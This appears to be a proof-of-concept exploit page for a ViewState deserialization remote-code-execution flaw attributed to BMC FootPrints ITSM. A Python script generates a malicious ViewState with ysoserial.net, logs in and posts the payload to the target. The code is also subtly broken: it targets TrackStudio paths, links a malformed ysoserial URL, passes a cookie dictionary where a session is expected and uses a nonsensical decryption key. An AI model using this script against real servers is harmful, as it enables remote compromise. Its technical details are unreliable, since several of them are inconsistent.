CVE-2025-71260 BMC FootPrints ITSM VIEWSTATE反序列化远程代码执行漏洞

# CVE-2025-71260 PoC - VIEWSTATE Deserialization RCE # Generate malicious VIEWSTATE using ysoserial.net # ysoserial.net: https://github.com/icksoserial/ysoserial import subprocess import requests import re TARGET_URL = "http://target.com/TrackStudio/" USERNAME = "attacker" PASSWORD = "password123" # Generate VIEWSTATE payload using ysoserial.net # Using TypeConfuseDelegate gadget for RCE PAYLOAD_CMD = "calc.exe" def generate_viewstate_payload(): """Generate malicious VIEWSTATE using ysoserial.net""" cmd = [ "ysoserial.exe", "-p", "ViewState", "-g", "TypeConfuseDelegate", "-c", PAYLOAD_CMD, "--apppath", "/TrackStudio/", "--decryptkey", "AutoGenerated" ] result = subprocess.run(cmd, capture_output=True, text=True) return result.stdout.strip() def authenticate(): """Login to obtain session cookie""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}Login.aspx", data=login_data) return session.cookies.get_dict() def exploit(session, malicious_viewstate): """Send malicious VIEWSTATE to trigger RCE""" exploit_data = { "__VIEWSTATE": malicious_viewstate, "__VIEWSTATEGENERATOR": "AutoGenerated" } response = session.post(f"{TARGET_URL}Main.aspx", data=exploit_data) return response.status_code == 200 # Main execution payload = generate_viewstate_payload() session_cookies = authenticate() if exploit(session_cookies, payload): print("Exploit sent successfully")